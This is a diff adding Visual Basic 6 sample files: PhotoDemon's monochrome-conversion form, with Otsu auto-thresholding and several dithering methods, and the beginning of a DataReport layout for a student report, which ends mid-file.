+++ b/samples/Visual Basic 6.0/Adjustments_BlackAndWhite.frm	
@@ -0,0 +1,715 @@
+VERSION 5.00
+Begin VB.Form FormMonochrome 
+   Appearance      =   0  'Flat
+   BackColor       =   &H80000005&
+   Caption         =   " Monochrome Conversion"
+   ClientHeight    =   6540
+   ClientLeft      =   120
+   ClientTop       =   465
+   ClientWidth     =   12150
+   DrawStyle       =   5  'Transparent
+   BeginProperty Font 
+      Name            =   "Tahoma"
+      Size            =   8.25
+      Charset         =   0
+      Weight          =   400
+      Underline       =   0   'False
+      Italic          =   0   'False
+      Strikethrough   =   0   'False
+   EndProperty
+   HasDC           =   0   'False
+   LinkTopic       =   "Form1"
+   MaxButton       =   0   'False
+   MinButton       =   0   'False
+   ScaleHeight     =   436
+   ScaleMode       =   3  'Pixel
+   ScaleWidth      =   810
+   Begin PhotoDemon.pdSlider sldDitheringAmount 
+      Height          =   855
+      Left            =   6000
+      TabIndex        =   8
+      Top             =   2400
+      Width           =   6015
+      _ExtentX        =   10610
+      _ExtentY        =   1508
+      Caption         =   "dithering amount"
+      Max             =   100
+      Value           =   100
+      DefaultValue    =   100
+   End
+   Begin PhotoDemon.pdDropDown cboDither 
+      Height          =   855
+      Left            =   6000
+      TabIndex        =   7
+      Top             =   1440
+      Width           =   6015
+      _ExtentX        =   10610
+      _ExtentY        =   1508
+      Caption         =   "dithering"
+   End
+   Begin PhotoDemon.pdButtonStrip btsTransparency 
+      Height          =   1065
+      Left            =   6000
+      TabIndex        =   6
+      Top             =   4560
+      Width           =   6015
+      _ExtentX        =   10610
+      _ExtentY        =   1879
+      Caption         =   "transparency"
+   End
+   Begin PhotoDemon.pdSlider sltThreshold 
+      Height          =   705
+      Left            =   6000
+      TabIndex        =   5
+      Top             =   120
+      Width           =   6045
+      _ExtentX        =   10663
+      _ExtentY        =   1244
+      Caption         =   "threshold"
+      Min             =   1
+      Max             =   254
+      Value           =   127
+      NotchPosition   =   2
+      NotchValueCustom=   127
+   End
+   Begin PhotoDemon.pdCheckBox chkAutoThreshold 
+      Height          =   330
+      Left            =   6120
+      TabIndex        =   4
+      Top             =   930
+      Width           =   5895
+      _ExtentX        =   10398
+      _ExtentY        =   582
+      Caption         =   "automatically calculate threshold"
+      Value           =   0   'False
+   End
+   Begin PhotoDemon.pdFxPreviewCtl pdFxPreview 
+      Height          =   5625
+      Left            =   120
+      TabIndex        =   3
+      Top             =   120
+      Width           =   5625
+      _ExtentX        =   9922
+      _ExtentY        =   9922
+   End
+   Begin PhotoDemon.pdColorSelector csMono 
+      Height          =   615
+      Index           =   0
+      Left            =   6120
+      TabIndex        =   1
+      Top             =   3720
+      Width           =   2895
+      _ExtentX        =   5106
+      _ExtentY        =   1085
+      curColor        =   0
+   End
+   Begin PhotoDemon.pdColorSelector csMono 
+      Height          =   615
+      Index           =   1
+      Left            =   9120
+      TabIndex        =   2
+      Top             =   3720
+      Width           =   2895
+      _ExtentX        =   5106
+      _ExtentY        =   1085
+   End
+   Begin PhotoDemon.pdCommandBar cmdBar 
+      Height          =   750
+      Left            =   0
+      TabIndex        =   0
+      Top             =   5790
+      Width           =   12150
+      _ExtentX        =   21431
+      _ExtentY        =   1323
+   End
+   Begin PhotoDemon.pdLabel lblTitle 
+      Height          =   285
+      Index           =   1
+      Left            =   6000
+      Top             =   3360
+      Width           =   5955
+      _ExtentX        =   10504
+      _ExtentY        =   503
+      Caption         =   "final colors"
+      FontSize        =   12
+      ForeColor       =   4210752
+   End
+End
+Attribute VB_Name = "FormMonochrome"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = False
+Attribute VB_PredeclaredId = True
+Attribute VB_Exposed = False
+'***************************************************************************
+'Monochrome Conversion Form
+'Copyright 2002-2022 by Tanner Helland
+'Created: some time 2002
+'Last updated: 07/September/21
+'Last update: change "auto threshold" calculation to use Otsu's method (https://en.wikipedia.org/wiki/Otsu%27s_method);
+'              this provides better results with no meaningful change to calculation time or complexity
+'
+'The meat of this form is in the module with the same name...look there for
+' real algorithm info.
+'
+'Unless otherwise noted, all source code in this file is shared under a simplified BSD license.
+' Full license details are available in the LICENSE.md file, or at https://photodemon.org/license/
+'
+'***************************************************************************
+
+Option Explicit
+
+'Used to avoid recursive changes
+Dim m_AutoActive As Boolean
+
+Private Sub btsTransparency_Click(ByVal buttonIndex As Long)
+    UpdatePreview
+End Sub
+
+Private Sub cboDither_Click()
+    sldDitheringAmount.Visible = (cboDither.ListIndex <> 0)
+    UpdatePreview
+End Sub
+
+'When the auto threshold button is clicked, calculate the optimal value immediately and set the
+' threshold slider to match whatever value we calculate
+Private Sub chkAutoThreshold_Click()
+    
+    m_AutoActive = True
+    cmdBar.SetPreviewStatus False
+    
+    If chkAutoThreshold.Value Then sltThreshold.Value = CalculateOptimalThreshold()
+    
+    m_AutoActive = False
+    cmdBar.SetPreviewStatus True
+    UpdatePreview
+    
+End Sub
+
+'OK button
+Private Sub cmdBar_OKClick()
+    Process "Color to monochrome", , GetFunctionParamString(), UNDO_Layer
+End Sub
+
+Private Sub cmdBar_RequestPreviewUpdate()
+    UpdatePreview
+End Sub
+
+'When resetting, set the color boxes to black and white, and the dithering combo box to 6 (Stucki)
+Private Sub cmdBar_ResetClick()
+    
+    'Black and white
+    csMono(0).Color = RGB(0, 0, 0)
+    csMono(1).Color = RGB(255, 255, 255)
+    
+    'Stucki dithering w/out bleed reduction
+    cboDither.ListIndex = 6
+    
+    'Standard threshold value
+    chkAutoThreshold.Value = False
+    sltThreshold.Reset
+    
+End Sub
+
+Private Function GetFunctionParamString() As String
+    
+    Dim cParams As pdSerialize
+    Set cParams = New pdSerialize
+    
+    With cParams
+        .AddParam "threshold", sltThreshold.Value
+        .AddParam "dither", cboDither.ListIndex
+        .AddParam "ditheramount", sldDitheringAmount.Value
+        .AddParam "color1", csMono(0).Color
+        .AddParam "color2", csMono(1).Color
+        .AddParam "removetransparency", (btsTransparency.ListIndex = 1)
+    End With
+    
+    GetFunctionParamString = cParams.GetParamString
+    
+End Function
+
+Private Sub csMono_ColorChanged(Index As Integer)
+    UpdatePreview
+End Sub
+
+Private Sub Form_Load()
+    
+    cmdBar.SetPreviewStatus False
+    
+    'Populate the dither dropdown
+    Palettes.PopulateDitheringDropdown cboDither
+    cboDither.ListIndex = 6
+    
+    btsTransparency.AddItem "do not modify", 0
+    btsTransparency.AddItem "remove from image", 1
+    btsTransparency.ListIndex = 0
+    
+    'Apply translations and visual themes
+    ApplyThemeAndTranslations Me, True, True
+    cmdBar.SetPreviewStatus True
+    UpdatePreview
+    
+End Sub
+
+Private Sub Form_Unload(Cancel As Integer)
+    ReleaseFormTheming Me
+End Sub
+
+'Calculate the optimal threshold for the current image (using Otsu's method - https://en.wikipedia.org/wiki/Otsu%27s_method)
+Private Function CalculateOptimalThreshold() As Long
+
+    'Create a local array and point it at the pixel data of the image
+    Dim imageData() As Byte, tmpSA As SafeArray2D, tmpSA1D As SafeArray1D
+    EffectPrep.PrepImageData tmpSA, True, pdFxPreview
+    
+    Dim x As Long, y As Long, initX As Long, initY As Long, finalX As Long, finalY As Long
+    initX = curDIBValues.Left * 4
+    initY = curDIBValues.Top
+    finalX = curDIBValues.Right * 4
+    finalY = curDIBValues.Bottom
+    
+    'Color variables
+    Dim r As Long, g As Long, b As Long
+    
+    'Histogram tables
+    Dim lLookup(0 To 255) As Long
+    Dim pLuminance As Long
+    Dim numOfPixels As Long
+    
+    'Loop through each pixel in the image, tallying values as we go
+    For y = initY To finalY
+        workingDIB.WrapArrayAroundScanline imageData, tmpSA1D, y
+    For x = initX To finalX Step 4
+            
+        'Get the source pixel color values
+        b = imageData(x)
+        g = imageData(x + 1)
+        r = imageData(x + 2)
+        
+        pLuminance = Colors.GetHQLuminance(r, g, b)
+        
+        'Store this value in the histogram and increment total pixel count
+        lLookup(pLuminance) = lLookup(pLuminance) + 1
+        numOfPixels = numOfPixels + 1
+        
+    Next x
+    Next y
+    
+    'Safely deallocate imageData() and free the target DIB (as it's no longer needed)
+    workingDIB.UnwrapArrayFromDIB imageData
+    Set workingDIB = Nothing
+    
+    'Next, use Otsu's method for finding the ideal threshold value.
+    ' Thank you to https://en.wikipedia.org/wiki/Otsu%27s_method
+    ' and http://www.labbookpages.co.uk/software/imgProc/otsuThreshold.html
+    ' for a nice breakdown of how Otsu thresholding can be efficiently implemented.
+    Dim hSum As Double
+    For x = 0 To 255
+        hSum = hSum + CDbl(x) * CDbl(lLookup(x))
+    Next x
+    
+    Dim sumB As Double
+    Dim wB As Long, wF As Long  '"Background" and "Foreground"
+    
+    Dim varMax As Double
+    CalculateOptimalThreshold = 0
+    
+    For x = 0 To 255
+        
+        'Update background tracker
+        wB = wB + lLookup(x)
+        If (wB > 0) Then
+        
+            'Update foreground tracker
+            wF = numOfPixels - wB
+            If (wF > 0) Then        'Required to avoid DBZ
+                
+                'Sum of histogram to this point
+                sumB = sumB + CDbl(x) * CDbl(lLookup(x))
+                
+                'Calculate background and foreground variance
+                Dim mB As Double, mF As Double
+                mB = sumB / wB
+                mF = (hSum - sumB) / wF
+                
+                'Calculate between-class variance; this can be proven (algebraically) to correlate
+                ' with within-class variance; see the above links for details
+                Dim varBetween As Double
+                varBetween = CDbl(wB) * CDbl(wF) * (mB - mF) * (mB - mF)
+                
+                'Look for new max
+                If (varBetween > varMax) Then
+                    varMax = varBetween
+                    CalculateOptimalThreshold = x
+                    Debug.Print varMax, x
+                End If
+            
+            'wF = 0
+            End If
+            
+        'wB = 0
+        End If
+        
+    Next x
+        
+End Function
+
+'Convert an image to black and white (1-bit image)
+Public Sub MonochromeConvert_Central(ByVal monochromeParams As String, Optional ByVal toPreview As Boolean = False, Optional ByRef dstPic As pdFxPreviewCtl)
+    
+    If (Not toPreview) Then Message "Converting image to two colors..."
+    
+    Dim cParams As pdSerialize
+    Set cParams = New pdSerialize
+    cParams.SetParamString monochromeParams
+    
+    Dim cThreshold As Long, ditherMethod As Long, ditherAmount As Single
+    Dim lowColor As Long, highColor As Long, removeTransparency As Boolean
+    With cParams
+        cThreshold = .GetLong("threshold", 127)
+        ditherMethod = .GetLong("dither", 6)
+        ditherAmount = .GetDouble("ditheramount", 100!)
+        lowColor = .GetLong("color1", vbBlack)
+        highColor = .GetLong("color2", vbWhite)
+        removeTransparency = .GetBool("removetransparency", False)
+    End With
+    
+    ditherAmount = ditherAmount * 0.01
+    If (ditherAmount < 0!) Then ditherAmount = 0!
+    If (ditherAmount > 1!) Then ditherAmount = 1!
+    
+    'Create a local array and point it at the pixel data we want to operate on
+    Dim imageData() As Byte, tmpSA As SafeArray2D
+    
+    'If the user wants transparency removed from the image, apply that change prior to monochrome conversion
+    Dim alphaAlreadyPremultiplied As Boolean: alphaAlreadyPremultiplied = False
+    If (removeTransparency And (curDIBValues.bytesPerPixel = 4)) Then
+        EffectPrep.PrepImageData tmpSA, toPreview, dstPic, , , True
+        workingDIB.CompositeBackgroundColor 255, 255, 255
+        alphaAlreadyPremultiplied = True
+    Else
+        EffectPrep.PrepImageData tmpSA, toPreview, dstPic
+    End If
+    
+    workingDIB.WrapArrayAroundDIB imageData, tmpSA
+    
+    Dim x As Long, y As Long, i As Long, j As Long
+    Dim initX As Long, initY As Long, finalX As Long, finalY As Long
+    initX = curDIBValues.Left
+    initY = curDIBValues.Top
+    finalX = curDIBValues.Right
+    finalY = curDIBValues.Bottom
+    
+    Dim xStride As Long
+    
+    'To keep processing quick, only update the progress bar when absolutely necessary.  This function calculates that value
+    ' based on the size of the area to be processed.
+    Dim progBarCheck As Long
+    If (Not toPreview) Then ProgressBars.SetProgBarMax finalY
+    progBarCheck = ProgressBars.FindBestProgBarValue()
+    
+    'Low and high color values
+    Dim lowR As Long, lowG As Long, lowB As Long
+    Dim highR As Long, highG As Long, highB As Long
+    
+    lowR = Colors.ExtractRed(lowColor)
+    lowG = Colors.ExtractGreen(lowColor)
+    lowB = Colors.ExtractBlue(lowColor)
+    
+    highR = Colors.ExtractRed(highColor)
+    highG = Colors.ExtractGreen(highColor)
+    highB = Colors.ExtractBlue(highColor)
+    
+    'Calculating color variables (including luminance)
+    Dim r As Long, g As Long, b As Long
+    Dim l As Long, newL As Long
+    
+    Dim ditherTable() As Byte
+    Dim xLeft As Long, xRight As Long, yDown As Long
+    Dim errorVal As Single
+    Dim dDivisor As Single
+    
+    'Process the image based on the dither method requested
+    Select Case ditherMethod
+        
+        'No dither, so just perform a quick and dirty threshold calculation
+        Case 0
+    
+            For y = initY To finalY
+            For x = initX To finalX
+                
+                xStride = x * 4
+                
+                'Get the source pixel color values
+                b = imageData(xStride, y)
+                g = imageData(xStride + 1, y)
+                r = imageData(xStride + 2, y)
+                
+                'Convert those to a luminance value
+                l = Colors.GetHQLuminance(r, g, b)
+            
+                'Check the luminance against the threshold, and set new values accordingly
+                If (l >= cThreshold) Then
+                    imageData(xStride, y) = highB
+                    imageData(xStride + 1, y) = highG
+                    imageData(xStride + 2, y) = highR
+                Else
+                    imageData(xStride, y) = lowB
+                    imageData(xStride + 1, y) = lowG
+                    imageData(xStride + 2, y) = lowR
+                End If
+                
+            Next x
+                If (Not toPreview) Then
+                    If (y And progBarCheck) = 0 Then
+                        If Interface.UserPressedESC() Then Exit For
+                        SetProgBarVal y
+                    End If
+                End If
+            Next y
+            
+            
+        'Ordered dither (Bayer 4x4).  Unfortunately, this routine requires a unique set of code owing to its
+        ' specialized implementation. Coefficients derived from https://en.wikipedia.org/wiki/Ordered_dithering
+        Case 1
+        
+            'First, prepare a Bayer dither table
+            Palettes.GetDitherTable PDDM_Ordered_Bayer4x4, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+            'Now loop through the image, using the dither values as our threshold
+            For y = initY To finalY
+            For x = initX To finalX
+            
+                xStride = x * 4
+                
+                'Get the source pixel color values
+                b = imageData(xStride, y)
+                g = imageData(xStride + 1, y)
+                r = imageData(xStride + 2, y)
+                
+                'Convert those to a luminance value and add the value of the dither table
+                l = Colors.GetHQLuminance(r, g, b)
+                l = l + (CLng(ditherTable(x And 3, y And 3)) - 127) * ditherAmount
+                
+                'Check THAT value against the threshold, and set new values accordingly
+                If (l >= cThreshold) Then
+                    imageData(xStride, y) = highB
+                    imageData(xStride + 1, y) = highG
+                    imageData(xStride + 2, y) = highR
+                Else
+                    imageData(xStride, y) = lowB
+                    imageData(xStride + 1, y) = lowG
+                    imageData(xStride + 2, y) = lowR
+                End If
+                
+            Next x
+                If (Not toPreview) Then
+                    If (y And progBarCheck) = 0 Then
+                        If Interface.UserPressedESC() Then Exit For
+                        SetProgBarVal y
+                    End If
+                End If
+            Next y
+
+        'Ordered dither (Bayer 8x8).  Unfortunately, this routine requires a unique set of code owing to its specialized
+        ' implementation. Coefficients derived from https://en.wikipedia.org/wiki/Ordered_dithering
+        Case 2
+        
+            'First, prepare a Bayer dither table
+            Palettes.GetDitherTable PDDM_Ordered_Bayer8x8, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+            'Now loop through the image, using the dither values as our threshold
+            For y = initY To finalY
+            For x = initX To finalX
+                
+                xStride = x * 4
+                
+                'Get the source pixel color values
+                b = imageData(xStride, y)
+                g = imageData(xStride + 1, y)
+                r = imageData(xStride + 2, y)
+                
+                'Convert those to a luminance value and add the value of the dither table
+                l = Colors.GetHQLuminance(r, g, b)
+                l = l + (CLng(ditherTable(x And 7, y And 7)) - 127) * ditherAmount
+                
+                'Check THAT value against the threshold, and set new values accordingly
+                If (l >= cThreshold) Then
+                    imageData(xStride, y) = highB
+                    imageData(xStride + 1, y) = highG
+                    imageData(xStride + 2, y) = highR
+                Else
+                    imageData(xStride, y) = lowB
+                    imageData(xStride + 1, y) = lowG
+                    imageData(xStride + 2, y) = lowR
+                End If
+                
+            Next x
+                If (Not toPreview) Then
+                    If (y And progBarCheck) = 0 Then
+                        If Interface.UserPressedESC() Then Exit For
+                        SetProgBarVal y
+                    End If
+                End If
+            Next y
+        
+        'For all error-diffusion methods, precise dithering table coefficients are retrieved from the
+        ' /Modules/Palettes.bas file.  (We do this because other functions also need to retrieve these tables,
+        ' e.g. the Effects > Stylize > Palettize menu.)
+        
+        'Single neighbor.  Simplest form of error-diffusion.
+        Case 3
+            Palettes.GetDitherTable PDDM_SingleNeighbor, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Genuine Floyd-Steinberg.  Coefficients derived from http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT
+        Case 4
+            Palettes.GetDitherTable PDDM_FloydSteinberg, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Jarvis, Judice, Ninke.  Coefficients derived from http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT
+        Case 5
+            Palettes.GetDitherTable PDDM_JarvisJudiceNinke, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Stucki.  Coefficients derived from http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT
+        Case 6
+            Palettes.GetDitherTable PDDM_Stucki, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Burkes.  Coefficients derived from http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT
+        Case 7
+            Palettes.GetDitherTable PDDM_Burkes, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Sierra-3.  Coefficients derived from http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT
+        Case 8
+            Palettes.GetDitherTable PDDM_Sierra3, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Sierra-2.  Coefficients derived from http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT
+        Case 9
+            Palettes.GetDitherTable PDDM_SierraTwoRow, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Sierra-2-4A.  Coefficients derived from http://www.efg2.com/Lab/Library/ImageProcessing/DHALF.TXT
+        Case 10
+            Palettes.GetDitherTable PDDM_SierraLite, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+        'Bill Atkinson's original Hyperdither/HyperScan algorithm.  (Note: Bill invented MacPaint, QuickDraw,
+        ' and HyperCard.)  This is the dithering algorithm used on the original Apple Macintosh.
+        ' Coefficients derived from http://gazs.github.com/canvas-atkinson-dither/
+        Case 11
+            Palettes.GetDitherTable PDDM_Atkinson, ditherTable, dDivisor, xLeft, xRight, yDown
+            
+    End Select
+    
+    'If we have been asked to use a non-ordered dithering method, apply it now
+    If (ditherMethod >= PDDM_SingleNeighbor) Then
+    
+        'First, we need a dithering table the same size as the image.  We make it of Single type to prevent rounding errors.
+        ' (This uses a lot of memory, but on modern systems it shouldn't be a problem.)
+        Dim dErrors() As Single
+        ReDim dErrors(0 To workingDIB.GetDIBWidth, 0 To workingDIB.GetDIBHeight) As Single
+        
+        If (Not toPreview) Then
+            ProgressBars.SetProgBarMax finalY
+            progBarCheck = ProgressBars.FindBestProgBarValue()
+        End If
+        
+        Dim xQuick As Long, xQuickInner As Long, yQuick As Long
+        
+        'Now loop through the image, calculating errors as we go
+        For y = initY To finalY
+        For x = initX To finalX
+            
+            xQuick = x * 4
+            
+            'Get the source pixel color values
+            b = imageData(xQuick, y)
+            g = imageData(xQuick + 1, y)
+            r = imageData(xQuick + 2, y)
+            
+            'Convert those to a luminance value and add the value of the error at this location
+            l = Colors.GetHQLuminance(r, g, b)
+            newL = l + dErrors(x, y)
+            
+            'Check our modified luminance value against the threshold, and set new values accordingly
+            If (newL >= cThreshold) Then
+                errorVal = newL - 255
+                imageData(xQuick, y) = highB
+                imageData(xQuick + 1, y) = highG
+                imageData(xQuick + 2, y) = highR
+            Else
+                errorVal = newL
+                imageData(xQuick, y) = lowB
+                imageData(xQuick + 1, y) = lowG
+                imageData(xQuick + 2, y) = lowR
+            End If
+            
+            'If there is an error, spread it
+            If (errorVal <> 0) Then
+                
+                errorVal = errorVal * ditherAmount
+                
+                'Now, spread that error across the relevant pixels according to the dither table formula
+                For i = xLeft To xRight
+                For j = 0 To yDown
+                
+                    'First, ignore already processed pixels
+                    If (j = 0) And (i <= 0) Then GoTo NextDitheredPixel
+                    
+                    'Second, ignore pixels that have a zero in the dither table
+                    If ditherTable(i, j) = 0 Then GoTo NextDitheredPixel
+                    
+                    xQuickInner = x + i
+                    yQuick = y + j
+                    
+                    'Next, ignore target pixels that are off the image boundary
+                    If (xQuickInner < initX) Then
+                        GoTo NextDitheredPixel
+                    ElseIf (xQuickInner > finalX) Then
+                        GoTo NextDitheredPixel
+                    End If
+                    
+                    If (yQuick > finalY) Then GoTo NextDitheredPixel
+                    
+                    'If we've made it all the way here, we are able to actually spread the error to this location
+                    dErrors(xQuickInner, yQuick) = dErrors(xQuickInner, yQuick) + (errorVal * (CSng(ditherTable(i, j)) / dDivisor))
+                
+NextDitheredPixel:     Next j
+                Next i
+            
+            End If
+                
+        Next x
+            If (Not toPreview) Then
+                If (y And progBarCheck) = 0 Then
+                    If Interface.UserPressedESC() Then Exit For
+                    SetProgBarVal y
+                End If
+            End If
+        Next y
+    
+    End If
+    
+    'Safely deallocate imageData()
+    workingDIB.UnwrapArrayFromDIB imageData
+    
+    'Pass control to finalizeImageData, which will handle the rest of the rendering
+    EffectPrep.FinalizeImageData toPreview, dstPic, alphaAlreadyPremultiplied
+
+End Sub
+
+Private Sub sldDitheringAmount_Change()
+    UpdatePreview
+End Sub
+
+Private Sub sltThreshold_Change()
+    If (Not m_AutoActive) Then
+        chkAutoThreshold.Value = False
+        UpdatePreview
+    End If
+End Sub
+
+Private Sub UpdatePreview()
+    If cmdBar.PreviewsAllowed Then MonochromeConvert_Central GetFunctionParamString(), True, pdFxPreview
+End Sub
+
+'If the user changes the position and/or zoom of the preview viewport, the entire preview must be redrawn.
+Private Sub pdFxPreview_ViewportChanged()
+    UpdatePreview
+End Sub
diff --git a/samples/Visual Basic 6.0/DataReport1.Dsr b/samples/Visual Basic 6.0/DataReport1.Dsr
new file mode 100644
index 0000000000..8d7bd55177
--- /dev/null
+++ b/samples/Visual Basic 6.0/DataReport1.Dsr	
@@ -0,0 +1,364 @@
+VERSION 5.00
+Begin {78E93846-85FD-11D0-8487-00A0C90DC8A9} DataReport1 
+   Bindings        =   "DataReport1.dsx":0000
+   Caption         =   "DataReport1"
+   ClientHeight    =   12375
+   ClientLeft      =   120
+   ClientTop       =   465
+   ClientWidth     =   22800
+   StartUpPosition =   3  'Windows Default
+   _ExtentX        =   40217
+   _ExtentY        =   21828
+   _Version        =   393216
+   _DesignerVersion=   100684101
+   ReportWidth     =   8970
+   BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+      Name            =   "Arial"
+      Size            =   8.25
+      Charset         =   0
+      Weight          =   400
+      Underline       =   0   'False
+      Italic          =   0   'False
+      Strikethrough   =   0   'False
+   EndProperty
+   GridX           =   1
+   GridY           =   1
+   LeftMargin      =   1440
+   RightMargin     =   1440
+   TopMargin       =   1440
+   BottomMargin    =   1440
+   DataMember      =   "Command1"
+   NumSections     =   5
+   SectionCode0    =   1
+   BeginProperty Section0 {1C13A8E0-A0B6-11D0-848E-00A0C90DC8A9} 
+      _Version        =   393216
+      Name            =   "Section4"
+      Object.Height          =   900
+      NumControls     =   1
+      ItemType0       =   3
+      BeginProperty Item0 {1C13A8E1-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "Label6"
+         Object.Left            =   2835
+         Object.Width           =   2834
+         Object.Height          =   567
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Showcard Gothic"
+            Size            =   14.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         Object.Caption         =   "STUDENT REPORT"
+      EndProperty
+   EndProperty
+   SectionCode1    =   2
+   BeginProperty Section1 {1C13A8E0-A0B6-11D0-848E-00A0C90DC8A9} 
+      _Version        =   393216
+      Name            =   "Section2"
+      Object.Height          =   360
+      NumControls     =   6
+      ItemType0       =   3
+      BeginProperty Item0 {1C13A8E1-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "Label1"
+         Object.Width           =   1290
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         Object.Caption         =   "RollNo:"
+      EndProperty
+      ItemType1       =   3
+      BeginProperty Item1 {1C13A8E1-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "Label2"
+         Object.Left            =   1134
+         Object.Width           =   1290
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         Object.Caption         =   "Name:"
+      EndProperty
+      ItemType2       =   3
+      BeginProperty Item2 {1C13A8E1-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "Label3"
+         Object.Left            =   2835
+         Object.Width           =   1290
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         Object.Caption         =   "DOB:"
+      EndProperty
+      ItemType3       =   3
+      BeginProperty Item3 {1C13A8E1-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "Label4"
+         Object.Left            =   3969
+         Object.Width           =   1290
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         Object.Caption         =   "Department:"
+      EndProperty
+      ItemType4       =   3
+      BeginProperty Item4 {1C13A8E1-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "Label5"
+         Object.Left            =   5669
+         Object.Width           =   1305
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         Object.Caption         =   "Year:"
+      EndProperty
+      ItemType5       =   3
+      BeginProperty Item5 {1C13A8E1-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "Label7"
+         Object.Left            =   6803
+         Object.Width           =   1305
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         Object.Caption         =   "Address:"
+      EndProperty
+   EndProperty
+   SectionCode2    =   4
+   BeginProperty Section2 {1C13A8E0-A0B6-11D0-848E-00A0C90DC8A9} 
+      _Version        =   393216
+      Name            =   "Section1"
+      Object.Height          =   645
+      NumControls     =   6
+      ItemType0       =   4
+      BeginProperty Item0 {1C13A8E2-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "txtRollNo"
+         Object.Width           =   1440
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         DataField       =   "RollNo"
+         BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} 
+            Type            =   0
+            Format          =   ""
+            HaveTrueFalseNull=   0
+            FirstDayOfWeek  =   0
+            FirstWeekOfYear =   0
+            LCID            =   16393
+            SubFormatType   =   0
+         EndProperty
+         DataMember      =   "Command1"
+      EndProperty
+      ItemType1       =   4
+      BeginProperty Item1 {1C13A8E2-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "txtName"
+         Object.Left            =   1134
+         Object.Width           =   1440
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         DataField       =   "Name"
+         BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} 
+            Type            =   0
+            Format          =   ""
+            HaveTrueFalseNull=   0
+            FirstDayOfWeek  =   0
+            FirstWeekOfYear =   0
+            LCID            =   16393
+            SubFormatType   =   0
+         EndProperty
+         DataMember      =   "Command1"
+      EndProperty
+      ItemType2       =   4
+      BeginProperty Item2 {1C13A8E2-A0B6-11D0-848E-00A0C90DC8A9} 
+         _Version        =   393216
+         Name            =   "txtDOB"
+         Object.Left            =   2835
+         Object.Width           =   1440
+         Object.Height          =   240
+         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
+            Name            =   "Arial"
+            Size            =   8.25
+            Charset         =   0
+            Weight          =   400
+            Underline       =   0   'False
+            Italic          =   0   'False
+            Strikethrough   =   0   'False
+         EndProperty
+         DataField       =   "DOB"
